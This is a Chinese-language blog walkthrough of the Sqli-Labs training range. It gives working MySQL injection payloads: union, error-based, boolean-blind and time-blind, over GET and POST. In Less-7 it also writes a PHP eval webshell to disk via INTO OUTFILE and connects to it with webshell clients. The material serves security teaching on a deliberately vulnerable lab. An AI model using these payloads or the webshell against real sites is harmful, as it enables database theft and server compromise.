Sqli-Labs Less1-16关详细讲解

2023-11-16

一、首先介绍一下这个重要的数据库—information_schema数据库:

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。

下列为information_schema数据库中schemata表、tables表、columns表的介绍。

schemata表:提供了当前mysql实例中所有数据库的信息。
schemata表中的schema_name列(字段)存储着所有数据库的名字。

information_schema数据库 --> schemata表 --> schema_name列(字段)

在这里插入图片描述

tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个数据库,表类型,表引擎,创建时间等信息。
tables表中的table_schema列(字段)存储着数据库的名字,table_name列(字段)存储着表的名字。

information_schema数据库 --> tables表 --> table_schema列(字段) --> table_name列(字段)

在这里插入图片描述

columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
columns表中的table_schema列(字段)存储着数据库的名字,table_name列(字段)存储着表的名字,column_name列(字段)存储着列(字段) 的名字。

information_schema数据库 --> columns表 --> table_schema列(字段) --> table_name列(字段) --> column_name列(字段)

在这里插入图片描述

数据库:information_schema

有所有数据库名信息的 schemata 表:schemata(schema_name)

有所有表名信息 tables 表:tables(table_schema,table_name)

有所有列(字段)名信息的 columns 表:columns(table_schema,table_name,column_name)

核心语句:(以sqli-labs靶场的数据库为例子)

select schema_name from information_schema.schemata

select table_name from information_schema.tables where schema_name = ‘security’

select column_name from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’

select group_concat(id,username,password) from security.users

SQL注入常用的函数
user():用户名
version():mysql 数据库版本
database():当前数据库名
current_user():当前用户名
system_user():系统用户名
@@datadir:数据库路径
@@version_compile_os:操作系统版本

盲注常用的函数:
if(expr,v1,v2):如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
length(): 返回字符串的字节长度。
ascii(): 返回字符串第一个字符的ASCII码。
substring():从字符串中提取子字符串。

\

二、Sqli-Labs靶场

Get传输方式:

Less-1 Union&Select注入-闭合符[ ’ ]

1、通过使用反斜杠\,来判断闭合字符。
如何判断闭合字符

URL:Less-1/?id=1\

在这里插入图片描述

这一步的目的:知道SQL执行语句的闭合字符是什么,以便后面的SQL语句拼接,达到SQL注入的目的。\反斜杠后面跟着的就是闭合符。

2、通过使用order by,来判断执行SQL语句后的结果集里一共返回了多少列(字段)。
order by 关键字的介绍:
order by 关键字用于对结果集按照一个列或者多个列进行排序。order by后可以填列名、数字。
举例: id是name表的第1列的列名,那么若想查询的结果按照id来排序(默认升序),则可以写成下列两种形式,效果均相同。
select * from name order by id;
select * from name order by 1;
应用到sql注入语句中,我们就可以利用(order by 数字)这条语句,通过改变后面的这个数字来查看页面是否报错,来判断执行SQL语句后一共返回了多少列(字段)。

URL:Less-1/?id=1’ order by 3 --+

在这里插入图片描述
为什么要查询出当前返还结果集中的列数(字段数)呢?
因为后面用到的union联合查询语句要求union 内部的每个 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 select语句中的列的顺序必须相同。所以,要查询出当前返还结果集中的列数(字段数),以便后面使用union关键字时不会出错。

3、通过使用id=-1与union操作符,来查看显示位。
union操作符的介绍:
union 操作符用于合并两个或多个 select语句的结果集。
请注意,union 内部的每个 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 select语句中的列的顺序必须相同。

URL:Less-1/?id=-1’ union select 1,2,3 --+

在这里插入图片描述
为什么要使id=-1呢?
当id=-1时,select语句查询到的结果集不存在,则没有返还结果;而union后半段的select语句查询到的结果集存在,则会返还结果,从而判断显示位会显示哪个列(字段)的信息。

4、通过使用version()、database(),来判断数据库版本信息和当前数据库名。

URL:Less-1/?id=-1’ union select 1,version(),database() --+

在这里插入图片描述

5、通过使用group_concat()、information_schema.schemata和schema_name,来爆出数据库。
group_concat()函数的介绍:
group_concat()函数可以用来连接字符串,在其中可以添加一些分割符,可以使得结果跟直观。

information_schema.schemata与schema_name开头有介绍。

URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',schema_name) from information_schema.schemata --+

在这里插入图片描述
6、通过使用group_concat()、information_schema.tables、table_name、table_schema,来爆出数据库中的表名。

information_schema.tables、table_name和table_schema开头有介绍。

URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',table_name) from information_schema.tables where table_schema=‘security’ --+

在这里插入图片描述

7、通过使用group_concat()、information_schema.columns、column_name、table_schema、table_name,来爆出表中的列名(字段名)。

information_schema.columns、column_name、table_schema和table_name开头有介绍。

URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+

在这里插入图片描述

8、通过使用group_concat()和前面爆出的表名、列名(字段名),来爆出想要的数据。

URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ‘,id,’-’,username,’-’,password) from users --+

在这里插入图片描述

Less-5 报错注入-闭合符[ ’ ]

报错注入原理讲解(点击这里)

1、通过使用反斜杠\,来判断闭合字符。
如何判断闭合字符

Less-5/?id=1\

在这里插入图片描述
这一步的目的:知道SQL执行语句的闭合字符是什么,以便后面的SQL语句拼接,达到SQL注入的目的。\反斜杠后面跟着的就是闭合符。

2、通过使用extractvalue()报错函数、version()、database(),来判断数据库版本信息和当前数据库名。

Less-5/?id=1' and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+

在这里插入图片描述在这里插入图片描述

3、通过使用concat()、limit、information_schema.schemata和schema_name,来爆出数据库信息。
concat()函数的介绍:
concat()函数为字符串连接函数,将多个字符串连接成一个字符串。
limit子句的介绍:
limit子句可以被用于强制select语句返回指定的记录数。limit接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是0(而不是1)。

因为报错信息长度有限制,所以需要limit子句来限制输出内容,可以通过调整limit后面的参数来逐个显示出所需要的信息。

information_schema.schemata与schema_name开头有介绍。

Less-5/?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+

在这里插入图片描述
4、通过使用concat()、limit、information_schema.tables、table_name、table_schema,来爆出数据库中的表名。

information_schema.tables、table_name和table_schema开头有介绍。

Less-5/?id=1'  and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e))  --+

在这里插入图片描述
5、通过使用concat()、information_schema.columns、column_name、table_schema、table_name,来爆出表中的列名(字段名)。

information_schema.columns、column_name、table_schema和table_name开头有介绍。

Less-5/?id=1'  and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x7e))  --+

在这里插入图片描述
6、通过使用limit子句和前面爆出的表名、列名(字段名),来爆出想要的数据。

Less-5/?id=1' and extractvalue(1,concat(0x7e,(select username from security.users limit 1,1),0x7e)) --+

在这里插入图片描述

Less-5/?id=1'  and extractvalue(1,concat(0x7e,(select password from security.users limit 1,1),0x7e))  --+

在这里插入图片描述

Less-7 写入数据–闭合符[ ')) ]

一、首先,需要开启文件读写权限
MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。
先进入cmd命令界面,登录mysql
mysql -u root -p
然后使用 show variables like ‘%secure%’; 命令,查看权限是否已开启,若为 Null ,则表示未开启。
可按下面操作开启,进入 my.ini 数据库配置文件
添加 secure_file_priv="/"
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
之后,重启一下 mysql 服务器,再进入 mysql 查看,为 C:\ 就成功了。

在这里插入图片描述

二、开始注入

判断闭合符的方法(点这里)

1:使用order by子句,判断列(字段)数。

URL:Less-7/?id=1’)) order by 3 --+

在这里插入图片描述
2:写入一句话木马,虽然会报错,但是确实写入成功了。

URL:Less-7/?id=1’)) union select 1,2,"<?php @eval($_POST['test']); ?>" into outfile “C:\phpstudy_pro\WWW\sqllab\Less-7\test.php” --+

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

3:通过蚁剑、菜刀,连接一句话木马。
在这里插入图片描述在这里插入图片描述
这时就已经进入到服务器了,可以通过上传大马进一步的提取权限。

Less-8 布尔型盲注–闭合符[ ’ ]

一、首先,我们需要知道,界面回显正常和不正常的区别。

URL:Less-8/?id=1

在这里插入图片描述
URL:Less-8/?id=0
在这里插入图片描述可以看到,界面回显正常时,是有 You are in… 的,回显不正常时,时没有的,所以,之后我们就可以通过这一点来推测出正确的数据信息。

二、开始注入
1:先介绍一下,待会要使用的重要函数:length()、ascii()、substring()

length(): 函数的返回值为字符串的字节长度。

ascii():返回字符串str的最左边字符的数值。 如果str是空字符串,则返回0。 如果str为NULL,则返回NULL。ASCII适用于数字值介于0到255之间的字符。

substring():函数从特定位置开始的字符串返回一个给定长度的子字符串。如果要指定要从字符串中提取的子字符串的长度,可以使用以下形式的 substring 函数:
substring(string,position,length);

2:判断闭合符,通过一遍一遍的测试,可以看到当 id=1 后面跟着一个分号 [ ’ ] 时,界面回显错误了,所以闭合符就为分号 [ ’ ]。
如何判断闭合符(点这里)

URL:Less-8/?id=1’

在这里插入图片描述
3:通过使用 length() 函数判断当前数据库名称的长度。合理利用大于号[ > ]、小于号[ < ] ,可提升判断速度。

URL:Less-8/?id=1’ and length(database())=8 --+

length(database())=8 的时候正常回显,其他的无正常回显。

在这里插入图片描述4:用ASCII码猜解当前数据库名称,当前数据库的名称为 ‘security’ 第一个字母是 s ,对应 ascii码十进制值为 115。

判断ascii码范围不止是使用 等于号 [ = ] ,合理利用大于号[ > ]、小于号[ < ] ,可提升判断速度。

ascii码表,可自行百度,这里只列出一小部分。
在这里插入图片描述

URL:Less-8/?id=1’ and ascii(substring(database(),1,1))<116 --+

在这里插入图片描述

URL:Less-8/?id=1’ and ascii(substring(database(),1,1))=115 --+

在这里插入图片描述
5:用ASCII码猜解表名,这里只举一个例子,最后猜解的表名应为 'users’
在这里插入图片描述

URL:Less-8/?id=1’ and ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=117 --+

在这里插入图片描述
6:用ASCII码猜解字段名,这里只举一个例子,最后猜解的字段名应为 ‘username’ 和 'password’
在这里插入图片描述

URL:Less-8/?id=1’ and ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))=117 --+

在这里插入图片描述

7:用ASCII码猜解内容,这里只举一个例子。

在这里插入图片描述

URL:Less-8/?id=1’ and ascii(substring((select username from users limit 0,1),1,1))=68 --+

在这里插入图片描述

Less-9 延迟型注入–闭合符[ ’ ]

一、开始注入 (因为界面回显都一样,只是响应时间不同,图片展现不出差别,所以这里就不插入结果图了,直接上 SQL语句)

1、判断出闭合符 [ ’ ],当闭合符正确时,界面回显需要等待 3 秒时间

Less-9/?id=1' and sleep(3) --+

2、判断数据库名信息

Less-9/?id=1' and if(ascii(substring((select schema_name from information_schema.schemata limit 6,1),1,1))=115,sleep(3),1)
 --+

在这里插入图片描述3、判断表名信息

Less-9/?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),1)
 --+

在这里插入图片描述4、判断字段名信息

Less-9/?id=1' and if(ascii(substring((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(3),1)

在这里插入图片描述5、判断数据信息

Less-9/?id=1' and if(ascii(substring((select username from users limit 0,1),1,1))=68,sleep(3),1)
 --+

在这里插入图片描述

*Post传输方式

除了传输方式不一样,其实SQL注入语句是一样的,有些详细讲解可以查看 Get 传输方式的注入讲解。因为是 Post 请求的主体信息与 Get 请求方式有区别,所以注释符可以使用 #、-- (减号减号空格)。

注意:可以自己直接在 Username 或Password 框内输入SQL注入语句。
要是想要自己发送 Post 请求的主体信息,需要自己下载插件,我这里用的是火狐浏览器,安装了 HackBar 插件。

Less-11 Union&Select注入-闭合符[ ’ ]

1、首先,在开始注入前,若是我们想要自己发送 Post 请求的主体信息,那么我们就要知道,对应输入框的名字信息。可以通过 BurpSuit 抓包查看 Post 请求的主体信息,或者直接在浏览器界面使用查看器 (F12) 查看输入框的 name 及其对应的 value。
在这里插入图片描述在这里插入图片描述

2、判断闭合符 ( \ 后面跟着的就是闭合符,为[ ’ ]) :

uname=123\&passwd=&submit=Submit

在这里插入图片描述
3、判断执行SQL语句后的结果集里一共返回了多少列(字段)

uname=123' order by 2 -- &passwd=&submit=Submit

这里因为是 Post 请求的主体信息与 Get 请求方式有区别,所以注释符可以使用 #、-- (减号减号空格)。

可以看到当 order by 2 的时候界面没有报错,所以返还的结果集里面最多有 2 列。
在这里插入图片描述

4、判断显示位:

uname=123' union select 1,2 -- &passwd=&submit=Submit

在这里插入图片描述

5、查询数据库名信息:

uname=123' union select database(),group_concat('/',schema_name) from information_schema.schemata #&passwd=&submit=Submit

在这里插入图片描述

6、查询表名信息:

uname=123' union select database(),group_concat('/',table_name) from information_schema.tables where table_schema='security' #&passwd=&submit=Submit

在这里插入图片描述

7、查询字段名信息:

uname=123' union select database(),group_concat('/',column_name) from information_schema.columns where table_schema='security' and table_name='users' #&passwd=&submit=Submit

在这里插入图片描述

8、查询数据信息:

uname=123' union select database(),group_concat(id,'/',username,'/',password) from users #&passwd=&submit=Submit

在这里插入图片描述

Less-13 报错型注入–闭合符[ ') ]

一、这里除了 Post 请求方式与 Get 请求方式不同之外,其他都一样,原理讲解可以去 Get 请求方式篇查看。这里只写执行语句。

二、开始注入
1、判断闭合符 [ ') ]
如何判断闭合符(点这里)

uname=\&passwd=&submit=Submit

在这里插入图片描述

2、爆出数据库名信息

uname=1') and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))) #&passwd=&submit=Submit

在这里插入图片描述
3、爆出数据库表名信息

uname=1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1))) #&passwd=&submit=Submit

在这里插入图片描述4、爆出字段名信息

uname=1') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))) #&passwd=&submit=Submit

在这里插入图片描述
5、爆出数据信息

uname=1') and extractvalue(1,concat(0x7e,(select username from users limit 0,1))) #&passwd=&submit=Submit

在这里插入图片描述

Less-15 布尔型盲注–闭合符[ ’ ]

、注入步骤基本上与Less-8一样,但是需要注意的一个点是,连接符需要用到的是 or 而不是 and ,原因是因为在我们不知道用户名的情况下,若是用 and 作为连接符,那么若是有一边执行结果为 false ,则整个执行结果就是 false ,这样就判断不了,所以需要用到 or ,一边为 true,则整个执行结果就为 true。

二、布尔型注入
1、判断闭合符,并且判断语句执行正确与错误,界面回显是否有不同之处。

uname=1' or 1=1 # &passwd=&submit=Submit

使用 or 1=1,这一边一定是返还 true 的,但是若是前面的闭合符不正确,那么整个语句执行起来一定也还是错误的,所以这时就可以利用这个特性去判断闭合符是什么,这里判断得出闭合符为 [ ’ ] ,并且判断得出当语句执行成功返回 true 时,界面是显示 successfully 的,若是返回 false 是,界面是显示 login attempt failed 的。
在这里插入图片描述在这里插入图片描述

2、判断数据库名信息

uname=1' or ascii(substring((select schema_name from information_schema.schemata limit 6,1),1))=115 # &passwd=&submit=Submit

在这里插入图片描述

3、判断数据库表名信息

uname=1' or ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1))=117 # &passwd=&submit=Submit

在这里插入图片描述
4、判断字段名信息

uname=1' or ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1))=117 # &passwd=&submit=Submit

在这里插入图片描述
5、判断数据信息

uname=1' or ascii(substring((select username from users limit 0,1),1))=68 # &passwd=&submit=Submit在这里插入图片描述三、延迟型注入
1、需要注意的是使用的连接符是 or 不是 and ,使用 if() 时,当语句正确时,应当执行 1 ,错误的时候,再执行 sleep() 。不然假如,正确时,执行的是 sleep() ,就会成 uname=1’ or sleep(3) ,这样 or 两边都没有返回 true 值,就不正确了。所以,应该是正确的时候执行的是 1,这样就成了 uname=1’ or 1,1就相当于 true,这样才正确。
2、其他的和 Less-9 基本一样,这里就列出来一步。
3、查询数据库名信息

uname=1'or if(ascii(substring((select schema_name from information_schema.schemata limit 0,1),1))=105,1,sleep(1)) #&passwd=1&submit=Submit

在这里插入图片描述

Less17:报错型注入[ ’ ]

1、判断闭合符

uname=Dumb&passwd=\&submit=Submit

在这里插入图片描述

2、爆出数据库信息

uname=Dumb&passwd=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#&submit=Submit

在这里插入图片描述






\

有任何问题,欢迎大家到评论区讨论

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Sqli-Labs Less1-16关详细讲解 的相关文章

随机推荐

  • NHibernet Unable to locate persister for the entity

    第一 xml文件必须为 hbm xml 第二 设置xml文件为嵌入的资源 用鼠标点击右键 然后生成操作里 选择嵌入的资源即可解决 https www cnblogs com lyj 转载于 https www cnblogs com xia
  • SSD预测错误调试:RuntimeError: index_select(): functions with out=... arguments don‘t support automatic dif

    一 错误 运行SSD pytorch版本时 运行test py时 遇到这种错误 RuntimeError index select functions with out arguments don t support automatic d
  • Kafka面试必问几个概念 与 使用场景

    介绍下我写的这个kafka项目 里面做了详细的配置注释已经代码的demo 可供大家学习 项目 地址 springboot kafka集群项目实战 kafka集群批量消费数据去重和一致性 kafka的几个重要概念 接下来围绕下面几个概念来进行
  • 运放中接电容的作用

    运放概述 案例讲解 运算分析 一 基本概念 反向放大器 优点 两个输入端电位始终近似为零 同相端接地 反相端虚地 只有差模信号 抗干扰能力强 缺点 输入阻抗很小 等于信号到输入端的串联电阻的阻值 同相放大器 优点 输入阻抗和运放的输入阻抗相
  • 《JavaScript高级程序设计(第四版)》红宝书学习笔记(2)(第四章:变量、作用域与内存)

    个人对第四版红宝书的学习笔记 不适合小白阅读 这是part2 持续更新 其他章节笔记看我主页 记 的表示是ES6新增的知识点 记 表示包含新知识点 第四章 变量 作用域与内存 4 1 原始值与引用值 ECMAScript变量可以包含两种不同
  • C获取linux系统环境变量方法(Environment Variables)

    主要有三种方法 都很简单 1 一个单纯c语言获取的方式 span style font family none font size 14px include span
  • Java系列8—对象创建的内存分配和构造方法

    对象的创建 类和对象的区别 面向对象 java语言的核心机制 最重要的内容 java语言的特色 面向过程和面向对象的区别 面向过程 主要关注点是 实现的具体过程 因果关系 面向对象 主要关注对象 独立体 能完成哪些功能 优点 耦合度低 扩展
  • 态势感知(SIP)

    SIP态势感知 一 SIP态势感知概述 1 业界标准 数据来源 gt 智能分析 gt 安全可视 gt 协同响应 通过日志采集探针和流量传感器分别进行不同系统日志和流量日志的采集和处理任务 通过对海量数据进行多维度快速 自动化的关联分析发现本
  • 跨框架解决方案-Mitosis【问题与局限】

    不要定义与状态属性同名的变量 async方法不能定义在state内 函数不能通过引用直接传递给JSX回调函数 可以在回调函数中定义一个匿名函数 不能将 params 分配给 state 不能将函数输出分配给 state state不能被解构
  • dart 相关资源收集

    百丈高楼平地起 要想写好flutter 必先学号dart 资源 给 Android 开发者的 Dart 教程 学好 Dart 才能玩转 Flutter
  • ms-repeat 数据渲染后触发事件

    ms repeat 数据渲染后触发 data repeat rendered 例子 div class timebox h3 el year 年 el month 月 h3 ul li li ul div
  • MVC设计思想

    1 MVC思想的说明 经典MVC模式中 M是指业务模型 V是指用户界面 C则是控制器 使用MVC的目的是将M和V的实现代码分离 从而使同一个程序可以使用不同的表现形式 其中 View的定义比较清晰 就是用户界面 M model 业务模型 V
  • 24个笔画顺序表_语文老师整理:560个小学常用汉字笔画笔顺表!小学阶段多练习...

    今天给大家分享的是资深语文老师整理的学习资料 560个小学常用汉字笔画笔顺表 家里有小学生的家长 建议帮孩子存好 小学阶段多练习 不仅对语文学习的提高有帮助 还能培养孩子的语文素养 在小学语文的学习中 汉字是最基础的知识点 孩子在学习语文的
  • Codeforces Round #561 (Div. 2)ABC

    三个题 各位大佬别喷我 我很菜 A Silent Classroom There are n students in the first grade of Nlogonia high school The principal wishes
  • 【03】上下文

    基于智能 合约的安全企业对消费者供应链系统在农产品供应链中使用区块链和智能 合约进行追溯链上 链下 智能 合约的可扩展和隐私保护设计TinyEVM 低功耗物联网设备上的链下 智能 合约区块链技术中的智能 合约和用例概述Blockumulus
  • Java的8种基本数据类型

    博主前些天发现了一个巨牛的人工智能学习网站 通俗易懂 风趣幽默 忍不住也分享一下给大家 点击跳转到网站 前言 Java数据类型分为两大类 基本数据类型 引用类型 如图所示 下面讲解的是Java的八种基本数据类型 一 按照数据类型来分 1 整
  • 西门子变频器SINAMICS S120电源模块分享

    西门子变频器SINAMICS S120系列 在工业领域中能胜任各种要求严格的驱动控制任务 为用户提供简单有效的驱动控制过程 西门子变频器SINAMICS S120系列可以配置电源模块 来为西门子变频器驱动控制系统提供稳定的电源保障 本文下面
  • 设计模式-模板方法

    文章目录 前言 模板方法模式简介 Java代码示例 模板方法使用场景 模板方法使用场景 前言 当我们需要在一个算法的框架中定义算法的骨架 并将一些步骤的具体实现留给子类来完成时 模板方法模式是一种非常有用的设计模式 这篇博客将介绍模板方法模
  • install.packages(“hgu133a.db“)报错——解决办法

    问题描述 install packages hgu133a db WARNING Rtools is required to build R packages but is not currently installed Please do
  • Sqli-Labs Less1-16关详细讲解

    Sqli Labs Less1 16关详细讲解 一 首先介绍一下这个重要的数据库 information schema数据库 二 Sqli Labs靶场 Get传输方式 Less 1 Union Select注入 闭合符 Less 5 报错